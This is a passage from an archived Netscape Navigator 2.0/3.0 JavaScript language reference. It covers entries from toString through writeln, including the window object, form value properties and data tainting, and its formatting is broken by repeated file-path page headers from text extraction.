file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (21 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Object Gabby is [ name is Gabby; breed is Lab; color is chocolate; sex is girl; toString is function objectToString() { var ret = "Object " + this.name + " is ["; for (var prop in this) { ret += " " + prop + " is " + this[prop] + ";"; } return ret + "]"; } ;] An object's toString method is usually invoked by JavaScript, but you can invoke it yourself as follows: alert(theDog.toString()) Arrays and toString For Array objects, the built-in toString method joins the array and returns one string containing each array element separated by commas. For example, the following code creates an array and uses toString to convert the array to a string while writing output. var monthNames = new Array("Jan","Feb","Mar","Apr") document.write("monthNames.toString() is " + monthNames.toString()) The output is as follows: monthNames.toString() is Jan,Feb,Mar,Apr Boolean objects and toString For Boolean objects and values, the built-in toString method returns "true" or "false" depending on the value of the boolean object. In the following code, flag.toString returns "true". flag = new Boolean(true) document.write("flag.toString() is " + flag.toString() + "<BR>") Functions and toString For Function objects, the built-in toString method decompiles the function back into the JavaScript source that defines the function. This string includes the function keyword, the argument list, curly braces, and function body. For example, suppose you create the function Dog shown in "User-defined toString methods". Any time Dog is used in a string context, JavaScript automatically calls the toString function, which returns the following string: function Dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; }
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (22 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Numbers and toString You can use toString on numeric values, but not on numeric literals: // The next two lines are valid var howMany=10 document.write("howMany.toString() is " + howMany.toString() + "<BR>") // The next line causes an error document.write("45.toString() is " + 45.toString() + "<BR>")

Examples
Example 1: The location object. The following example prints the string equivalent of the current location. document.write("location.toString() is " + location.toString() + "<BR>") The output is as follows: file:///C|/TEMP/myprog.html Example 2: Object with no string value. Suppose the following Image object named "sealife" exists: <IMG NAME="sealife" SRC="images\seaotter.gif" ALIGN="left" VSPACE="10"> Because the Image object itself has no string equivalent, sealife.toString() will return the following: [object Image] Example 3: The radix parameter. The following example prints the string equivalents of the numbers 0 through 9 in decimal and binary. for (x = 0; x < 10; x++) { document.write("Decimal: ", x.toString(10), " Binary: ", x.toString(2), "<BR>") } The preceding example produces the following output:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (23 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Decimal: Decimal: Decimal: Decimal: Decimal: Decimal: Decimal: Decimal: Decimal: Decimal:

0 1 2 3 4 5 6 7 8 9

Binary: Binary: Binary: Binary: Binary: Binary: Binary: Binary: Binary: Binary:

0 1 10 11 100 101 110 111 1000 1001

See also
prototype property; valueOf method

toUpperCase
Method. Returns the calling string value converted to uppercase.

Syntax
stringName.toUpperCase()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (24 of 53) [30/08/2003 9:34:35 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

The toUpperCase method returns the value of stringName converted to uppercase. toUpperCase does not affect the value of stringName itself.

Examples
The following example displays the string "ALPHABET": var lowerText="alphabet" document.write(lowerText.toUpperCase())

See also
toLowerCase method

type
Property. For form elements created with the <INPUT>, <SELECT>, or <TEXTAREA> tags, a string specifying the type of form element. For MimeType objects, the a string specifying the name of the MIME type.

Syntax
1. objectName.type 2. navigator.mimeTypes[index].type

Parameters
objectName is either the value of the NAME attribute of a form element object (button, checkbox, file upload, hidden, password, radio, reset, select, submit, text, or textarea) or an element in the elements array. index is either an integer representing a MIME type supported by the client or a string containing the type of a MimeType object (from the type property).

Property of
Button object, Checkbox object, FileUpload object, Hidden object, MimeType object, Password object, Radio object, Reset object, Select object, Submit object, Text object, Textarea object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (25 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Implemented in
Navigator 3.0

Tainted?
No

Description
For MimeType objects, the type property is a unique string that distinguishes the MIME type from all others; for example "video/mpeg" or "audio/x-wav". For form elements, the value of the type property is assigned as follows:

HTML element INPUT TYPE="button" INPUT TYPE="file" INPUT TYPE="hidden" INPUT TYPE="radio" INPUT TYPE="reset" INPUT TYPE="submit" INPUT TYPE="text" SELECT SELECT MULTIPLE TEXTAREA type is a read-only property.

Value of type property "button" "file" "hidden" "radio" "reset" "submit" "text" "select-one" "select-multiple" "textarea"

INPUT TYPE="checkbox" "checkbox"

INPUT TYPE="password" "password"

Examples
The following example writes the value of the type property for every element on a form. for (var i = 0; i < document.form1.elements.length; i++) {

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (26 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

document.writeln("<BR>type is " + document.form1.elements[i].type) } See also the examples for the MimeType object.

See also
For MimeType objects: description, enabledPlugin, suffixes properties

unescape
Function. Returns the ASCII string for the specified value.

Syntax
unescape("string")

Parameters
string is a string or a property of an existing object, containing characters in either of the following forms:
q q

"%integer", where integer is a number between 0 and 255 (decimal) "hex", where hex is a number between 0x0 and 0xFF (hexadecimal)

Implemented in
Navigator 2.0

Description
The string returned by the unescape function is a series of characters in the ISO Latin-1 character set. The unescape function is a top-level JavaScript function not associated with any object.

Examples
The following example returns "&":

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (27 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

unescape("%26") The following example returns "!#": unescape("%21%23")

See also
escape function

untaint
Function. Removes tainting from a data element or script.

Syntax
untaint(dataElementName)

Parameters
dataElementName is the property, variable, function, or object to remove tainting from. If omitted, taint is removed from the script itself.

Implemented in
Navigator 3.0

Description
Tainting prevents other scripts from passing information that should be secure and private, such as directory structures or user session history. JavaScript cannot pass tainted values on to any server without the end user's permission. Use untaint to clear tainting that marks data that should not to be sent by other scripts to different servers. A script can untaint only data that originated in that script (that is, only data that has the script's taint code or has the identity (null) taint code). If you use untaint with a data element from another server's script (or
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (28 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

any data that you cannot untaint), untaint returns the data without change or error. In some cases, control flow rather than data flow carries tainted information. In these cases, taint is added to the script's window. You can remove taint from the script's window by calling untaint with no arguments, if the window contains taint only from the current window. See "Tainting that results from conditional statements". untaint does not modify its argument; instead, it returns an unmarked copy of the value, or, for objects, an unmarked reference to the value.

Examples
The following statement removes taint from a property so that a script can send it to another server: untaintedStatus=untaint(window.defaultStatus) // untaintedStatus can now be sent in a URL or form post by other // scripts

See also
domain property; taint function; "Using data tainting for security"

URL
Property. A string specifying the complete URL of the document.

Syntax
document.URL

Property of
document

Implemented in
Navigator 2.0
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (29 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Tainted?
Yes

Description
URL is a read-only property of document containing the full URL of the document. URL is a string-valued property that usually matches what window.location.href is set to when you load the document, but redirection may change location.href.

Examples
The following example displays the URL of the current document: document.write("The current URL is " + document.URL)

See also
href

userAgent
Property. A string representing the value of the user-agent header sent in the HTTP protocol from client to server.

Syntax
navigator.userAgent

Property of
navigator

Implemented in
Navigator 2.0
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (30 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Tainted?
No

Description
Servers use the value sent in the user-agent header to identify the client. userAgent is a read-only property.

Examples
The following example displays userAgent information for the Navigator: document.write("The value of navigator.userAgent is " + navigator.userAgent) For Navigator 2.0, this displays the following: The value of navigator.userAgent is Mozilla/2.0 (Win16; I)

See also
appCodeName, appName, appVersion, javaEnabled properties

UTC
Method. Returns the number of milliseconds in a Date object since January 1, 1970, 00:00:00, Universal Coordinated Time (GMT).

Syntax
Date.UTC(year, month, day [, hrs] [, min] [, sec])

Parameters
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (31 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

year is a year after 1900. month is a month between zero and 11. date is a day of the month between one and 31. hrs is hours between zero and 23. min is minutes between zero and 59. sec is seconds between zero and 59.

Method of
Date

Implemented in
Navigator 2.0

Description
UTC takes comma-delimited date parameters and returns the number of milliseconds since January 1, 1970, 00:00:00, Universal Coordinated Time (GMT). Because UTC is a static method of Date, you always use it as Date.UTC(), rather than as a method of a Date object you created.

Examples
The following statement creates a Date object using GMT instead of local time: gmtDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0))

See also
parse method

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (32 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

value
Property. A string that is related to the VALUE attribute of its object.

Syntax
1. 2. 3. 4. 5. objectName.value radioName[index].value selectName.options.[index].value fileUploadName.value optionName.value

Parameters
objectName is either the value of the NAME attribute of a Hidden, Password, Text, Textarea, Button, Reset, Submit, or Checkbox object or an element in the elements array. radioName is the value of the NAME attribute of a Radio object. selectName is either the value of the NAME attribute of a Select object or an element in the elements array. index is an integer representing a radio button in a Radio object or an option in a Select object. fileUploadName is either the value of the NAME attribute of a FileUpload object or an element in the elements array. optionName is the name of a Select object option created using the Option() constructor.

Property of
q

Button object, Checkbox object, FileUpload object, Hidden object, Option object (see Select object), Password object, Radio object, Reset object, Submit object, Text object, Textarea object options array (see Select object)

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of FileUpload, Option

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (33 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Tainted?
Yes

Description
The value property differs for every object. Button, Reset, and Submit objects When a VALUE attribute is specified in HTML, the value property is a string that reflects it. This string is displayed on the face of the button. When a VALUE attribute is not specified in HTML, the value property differs for each object:
q q q

For button, it is an empty string. For reset, it is the string "Reset." For submit, it is the string "Submit Query."

These strings are displayed on the faces of the buttons. value is a read-only property. Do not confuse the value property with the name property. The name property is not displayed on-screen; it is used to reference the objects programmatically. Checkbox and Radio objects When a VALUE attribute is specified in HTML, the value property is a string that reflects it. When a VALUE attribute is not specified in HTML, the value property is a string that evaluates to "on." The value property is not displayed on-screen but is returned to the server if the radio button or checkbox is selected. You can set the value property at any time. Do not confuse the value property with the selection state of the object or the text that is displayed next to each checkbox and radio button. The checked property determines the selection state of the object, and the defaultChecked property determines the default selection state. The text that is displayed is specified following the <INPUT TYPE="checkbox"> or the <INPUT TYPE="radio"> tag. FileUpload objects

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (34 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

The value property is a string that reflects the current value of a FileUpload object's field. Use the value property to obtain the file name that the user typed into a FileUpload object. value is a read-only property. Hidden, Text, and Textarea objects The value property is a string that initially reflects the VALUE attribute. This string is displayed in the text and textarea fields. The value of this property changes when a user or a program modifies the field. You can set the value property at any time. The display of the Text and Textarea objects updates immediately when you set the value property. Password object The value property is a string that initially reflects the VALUE attribute. This string is represented by asterisks in the Password object field. The value of this property changes when a user or a program modifies the field, but the value is always displayed as asterisks. If you programmatically set the value property and then evaluate it, JavaScript returns the current value. If a user interactively modifies the value in the password field, you cannot evaluate it accurately unless data tainting is enabled. See "Using data tainting for security". Select object options For Select object options created using the Option() constructor, the value property is a string that initially reflects the VALUE attribute. This value is not displayed onscreen, but is returned to the server if the option is selected. The value of this property can change when a program modifies it. You can set the value property at any time. options array The value property is a string that initially reflects the VALUE attribute. The value of this property can change when a program modifies it. The value property is not displayed on-screen but is returned to the server if the option is selected. You can set the value property at any time. Do not confuse the value property with the selection state of the Select object or the text that is displayed as an option. The selected and selectedIndex properties determine which options are selected, and the defaultSelected property determines the default selection state. The text that is displayed in each option is
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (35 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

specified by its text property.

Examples
The following function evaluates the value property of a group of buttons and displays it in the msgWindow window: function valueGetter() { var msgWindow=window.open("") msgWindow.document.write("submitButton.value is " + document.valueTest.submitButton.value + "<BR>") msgWindow.document.write("resetButton.value is " + document.valueTest.resetButton.value + "<BR>") msgWindow.document.write("helpButton.value is " + document.valueTest.helpButton.value + "<BR>") msgWindow.document.close() } This example displays the following values: Query Submit Reset Help The previous example assumes the buttons have been defined as follows: <INPUT TYPE="submit" NAME="submitButton"> <INPUT TYPE="reset" NAME="resetButton"> <INPUT TYPE="button" NAME="helpButton" VALUE="Help"> The following function evaluates the value property of a group of radio buttons and displays it in the msgWindow window: function valueGetter() { var msgWindow=window.open("") for (var i = 0; i < document.valueTest.radioObj.length; i++) { msgWindow.document.write ("The value of radioObj[" + i + "] is " + document.valueTest.radioObj[i].value +"<BR>") } msgWindow.document.close() }

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (36 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

This example displays the following values: on on on on The previous example assumes the buttons have been defined as follows: <BR><INPUT <BR><INPUT <BR><INPUT <BR><INPUT TYPE="radio" TYPE="radio" TYPE="radio" TYPE="radio" NAME="radioObj">R&B NAME="radioObj" CHECKED>Soul NAME="radioObj">Rock and Roll NAME="radioObj">Blues

See also
q q q q

For hidden, password, text, and textarea: defaultValue property For button, reset, and submit: name property For options array: defaultSelected property, selected property, selectedIndex property, text property For checkbox and radio: checked, defaultChecked properties

valueOf
Method. Returns the primitive value of the specified object.

Syntax
objectName.valueOf()

Parameters
objectName is the object to converted to a value.

Method of
valueOf is a method of all objects.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (37 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Implemented in
Navigator 3.0

Description
Every object has a valueOf method that is automatically called when it is to be represented as a primitive value. If an object has no primitive value, valueOf returns the object itself. You can use valueOf within your own code to convert an object into a primitive value, and you can create your own function to be called in place of the default valueOf method. Built-in valueOf methods Every object type has a built-in valueOf method, which JavaScript calls whenever it needs to convert an object to a primitive value. You rarely need to invoke the valueOf method yourself. JavaScript automatically invokes it when encountering an object where a primitive value is expected. The valueOf method is most useful for the following object types. Most other objects have no primitive value.

Object type Value returned by valueOf Number Boolean String Function Primitive numeric value associated with the object. Primitive boolean value associated with the object. String associated with the object. Function reference associated with the object. For example, typeOf funObj returns "object", but typeOf funObj.valueOf() returns "function".

User-defined valueOf methods You can create a function to be called in place of the default valueOf method. The valueOf method takes no arguments. Suppose you have an object type myNumberType and you want to create a valueOf method for it. The following code assigns a user-defined function to the object's valueOf method: myNumberType.prototype.valueOf = new Function(functionText)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (38 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

With the preceding code in place, any time an object of type myNumberType is used in a context where it is to be represented as a primitive value, JavaScript automatically calls the function defined in the preceding code. An object's valueOf method is usually invoked by JavaScript, but you can invoke it yourself as follows: myNumber.valueOf() toString vs. valueOf for String objects Objects in string contexts convert via the toString method, which is different from String objects converting to string primitives via valueOf. All string objects have a string conversion, if only "[object type]". But many objects do not convert to number, boolean, or function. For information on toString, see toString.

See also
parseInt function, toString method; "typeof"

vlinkColor
Property. A string specifying the color of visited links.

Syntax
document.vlinkColor

Property of
document

Implemented in
Navigator 2.0

Tainted?

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (39 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

No

Description
The vlinkColor property is expressed as a hexadecimal RGB triplet or as one of the string literals listed in "Color values". This property is the JavaScript reflection of the VLINK attribute of the <BODY> tag. The default value of this property is set by the user on the Colors tab of the Preferences dialog box, which is displayed by choosing General Preferences from the Options menu. You cannot set this property after the HTML source has been through layout. If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the RGB triplet for salmon is "FA8072."

Examples
The following example sets the color of visited links to aqua using a string literal: document.vlinkColor="aqua" The following example sets the color of active links to aqua using a hexadecimal triplet: document.vlinkColor="00FFFF"

See also
alinkColor, bgColor, fgColor, linkColor properties

vspace
Property. A string specifying a margin in pixels between the top and bottom edges of an image and the surrounding text.

Syntax
imageName.vspace

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (40 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Tainted?
No

Description
The vspace property reflects the VSPACE attribute of the <IMG> tag. For images created with the Image() constructor, the value of the vspace property is 0. vspace is a read-only property.

Examples
See the examples for the height property.

See also
border, height, hspace, width properties

width
Property. A string specifying the width of an image in pixels.

Syntax
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (41 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

imageName.width

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Tainted?
No

Description
The width property reflects the WIDTH attribute of the <IMG> tag. For images created with the Image() constructor, the value of the width property is the actual, not the displayed, width of the image. width is a read-only property.

Examples
See the examples for the height property.

See also
border, height, hspace, vspace properties

window object
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (42 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Object. The top-level object for each document, location, and history object group.

Syntax
To define a window, use the open method: windowVar = window.open("URL", "windowName" [,"windowFeatures"]) For details on defining a window, see the open (window object) method. To use a window object's properties and methods: 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. window.propertyName window.methodName(parameters) self.propertyName self.methodName(parameters) top.propertyName top.methodName(parameters) parent.propertyName parent.methodName(parameters) windowVar.propertyName windowVar.methodName(parameters) propertyName methodName(parameters)

To define an event handler for a window object, use the <BODY> or <FRAMESET> tags: <BODY ... [onBlur="handlerText"] [onFocus="handlerText"] [onLoad="handlerText"] [onUnload="handlerText"]> </BODY> <FRAMESET ROWS="rowHeightList" COLS="columnWidthList" [onBlur="handlerText"] [onFocus="handlerText"] [onLoad="handlerText"] [onUnload="handlerText"]> [<FRAME SRC="URL" NAME="frameName">] </FRAMESET>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (43 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Note On some platforms, placing an onBlur or onFocus event handler in a <FRAMESET> tag has no effect. Please see the release notes (after starting Netscape, choose Release Notes from the Help menu). For information on the <BODY> and <FRAMESET> tags, see the document and Frame objects. To define an onError event handler for a window object: window.onerror=errorHandler For information on specifying the onError event handler, see onError event handler.

Parameters
windowVar is the name of a new window. Use this variable when referring to a window's properties, methods, and containership. windowName is the window name to use in the TARGET attribute of a <FORM> or <A> tag. propertyName is one of the properties listed below. methodName is one of the methods listed below. errorHandler is the keyword null, the name of an error-handling function, or a variable or property that contains null or a valid function reference.

Property of
None

Implemented in
q q

Navigator 2.0 Navigator 3.0: added closed and opener properties; added blur, focus, and scroll methods; added onBlur, onError, and onFocus event handlers

Description
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (44 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

The window object is the top-level object in the JavaScript client hierarchy. Frame objects are also windows. The self and window properties are synonyms for the current window, and you can optionally use them to refer to the current window. For example, you can close the current window by calling either window.close() or self.close(). You can use these properties to make your code more readable or to disambiguate the property reference self.status from a form called status. See the properties and methods listed below for more examples. The top and parent properties are also synonyms that can be used in place of the window name. top refers to the top-most Navigator window, and parent refers to a window containing a frameset. See the top and parent properties. Because the existence of the current window is assumed, you do not have to reference the name of the window when you call its methods and assign its properties. For example, status="Jump to a new location" is a valid property assignment, and close() is a valid method call. However, when you open or close a window within an event handler, you must specify window.open() or window.close() instead of simply using open() or close(). Due to the scoping of static objects in JavaScript, a call to close() without specifying an object name is equivalent to document.close(). When you reference the location object within an event handler, you must specify window.location instead of simply using location. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL. You can reference a window's Frame objects in your code by using the frames array. The frames array contains an entry for each frame in a window with a <FRAMESET> tag. Windows lack event handlers until some HTML is loaded into them containing a <BODY> or <FRAMESET> tag.

Properties
The window object has the following properties:

Property closed defaultStatus frames

Description Specifies whether a window has been closed Reflects the default message displayed in the window's status bar An array reflecting all the frames in a window

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (45 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

length name opener parent self status top

Reflects the number of frames in a parent window Reflects the windowName argument Specifies the window name of the calling document when a window is opened using the open method A synonym for the windowName argument and refers to a window containing a frameset A synonym for the windowName argument and refers to the current window Specifies a priority or transient message in the window's status bar A synonym for the windowName argument and refers to the top-most Navigator window

window property A synonym for the windowName argument and refers to the current window The following objects are also properties of the window object:
q q q q

document Frame history object location

Methods
The window object has the following methods:

q q q q q q q

alert blur clearTimeout close (window object) confirm eval focus

q q q q q q

open (window object) prompt scroll setTimeout toString valueOf

Event handlers
q q q q

onBlur onError onFocus onLoad

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (46 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm
q

onUnload

Examples
In the following example, the document in the top window opens a second window, window2, and defines pushbuttons that open a message window, write to the message window, close the message window, and close window2. The onLoad and onUnload event handlers of the document loaded into window2 display alerts when the window opens and closes. win1.html, which defines the frames for the first window, contains the following code: <HTML> <HEAD> <TITLE>Window object example: Window 1</TITLE> </HEAD> <BODY BGCOLOR="antiquewhite"> <SCRIPT> window2=open("win2.html","secondWindow", "scrollbars=yes,width=250, height=400") document.writeln("<B>The first window has no name: " + window.name + "</B>") document.writeln("<BR><B>The second window is named: " + window2.name + "</B>") </SCRIPT> <FORM NAME="form1"> <P><INPUT TYPE="button" VALUE="Open a message window" onClick = "window3=window.open('','messageWindow', 'scrollbars=yes,width=175, height=300')"> <P><INPUT TYPE="button" VALUE="Write to the message window" onClick="window3.document.writeln('Hey there'); window3.document.close()"> <P><INPUT TYPE="button" VALUE="Close the message window" onClick="window3.close()"> <P><INPUT TYPE="button" VALUE="Close window2" onClick="window2.close()"> </FORM> </BODY> </HTML> win2.html, which defines the content for window2, contains the following code: <HTML> <HEAD>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (47 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

<TITLE>Window object example: Window 2</TITLE> </HEAD> <BODY BGCOLOR="oldlace" onLoad="alert('Message from ' + window.name + ': Hello, World.')" onUnload="alert('Message from ' + window.name + ': I\'m closing')"> <B>Some numbers</B> <UL><LI>one <LI>two <LI>three <LI>four</UL> </BODY> </HTML> See also the example for the Frame object.

See also
document, Frame objects

window property
Property. The window property is a synonym for the current window or frame.

Syntax
1. window.propertyName 2. window.methodName

Parameters
propertyName is the defaultStatus, status, length, or name property when the calling window refers to a window object. propertyName is the length or name property when the calling window refers to a Frame object. methodName is any method associated with the window object.

Property of
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (48 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

Frame object, window object

Implemented in
Navigator 2.0

Tainted?
No

Description
The window property refers to the current window or frame. Although you can use the window property as a synonym for the current frame, your code is more readable if you use the self property. For example, window.name and self.name both specify the name of the current frame, but self.name is easier to understand. Use the window property to disambiguate a property of the window object from a form or form element of the same name. You can also use the window property to make your code more readable. The window property is read-only. The value of the window property is <object nameAttribute> where nameAttribute is the NAME attribute if window refers to a frame, or an internal reference if window refers to a window.

Examples
In the following example, window.status is used to set the status property of the current window. This usage disambiguates the status property of the current window from a form called "status" within the current window. <A HREF="" onClick="this.href=pickRandomURL()" onMouseOver="window.status='Pick a random URL' ; return true"> Go!</A>

See also
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (49 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

self property

write
Method. Writes one or more HTML expressions to a document in the specified window.

Syntax
document.write(expression1 [,expression2], ...[,expressionN])

Parameters
expression1 through expressionN are any JavaScript expressions or the properties of existing objects.

Method of
document

Implemented in
q q

Navigator 2.0 Navigator 3.0: users can print and save generated HTML using the commands on the File menu

Description
The write method displays any number of expressions in a document window. You can specify any JavaScript expression with the write method, including numerics, strings, or logicals. The write method is the same as the writeln method, except the write method does not append a newline character to the end of the output. Use the write method within any <SCRIPT> tag or within an event handler. Event handlers execute after the original document closes, so the write method will implicitly open a new document of mimeType text/html if you do not explicitly issue a document.open() method in the event handler. You can use the write method to generate HTML and JavaScript code. However, the HTML parser reads
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (50 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

the generated code as it is being written, so you might have to escape some characters. For example, the following write method generates a comment and writes it to window2: window2=window.open('','window2') beginComment="\<!--" endComment="--\>" window2.document.write(beginComment) window2.document.write(" This some text inside a comment. ") window2.document.write(endComment) Printing, saving, and viewing generated HTML In Navigator 3.0, users can print and save generated HTML using the commands on the File menu. To view HTML code that was generated with JavaScript write and writeln methods, the user must specify the view-source: protocol. If the user chooses Document Source or Frame Source from the View menu, the content displayed is that of the wysiwyg: URL. The following example shows a view-source: URL: view-source:wysiwyg://0/file:/c|/temp/genhtml.html For information on specifying the view-source: protocol in the location object, see the location object.

Examples
In the following example, the write method takes several arguments, including strings, a numeric, and a variable: var mystery = "world" // Displays Hello world testing 123 msgWindow.document.write("Hello ", mystery, " testing ", 123) In the following example, the write method takes two arguments. The first argument is an assignment expression, and the second argument is a string literal. //Displays Hello world... msgWindow.document.write(mystr = "Hello " + "world...") In the following example, the write method takes a single argument that is a conditional expression. If the value of the variable age is less than 18, the method displays "Minor." If the value of age is greater than or equal to 18, the method displays "Adult." msgWindow.document.write(status = (age >= 18) ? "Adult" : "Minor")
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (51 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

See also
close (document object), open (document object), writeln methods

writeln
Method. Writes one or more HTML expressions to a document in the specified window and follows them with a newline character.

Syntax
document.writeln(expression1 [,expression2], ...[,expressionN])

Parameters
expression1 through expressionN are any JavaScript expressions or the properties of existing objects.

Method of
document

Implemented in
q q

Navigator 2.0 Navigator 3.0: users can print and save generated HTML using the commands on the File menu

Description
The writeln method displays any number of expressions in a document window. You can specify any JavaScript expression, including numerics, strings, or logicals. The writeln method is the same as the write method, except the writeln method appends a newline character to the end of the output. HTML ignores the newline character, except within certain tags such as <PRE>. Use the writeln method within any <SCRIPT> tag or within an event handler. Event handlers execute after
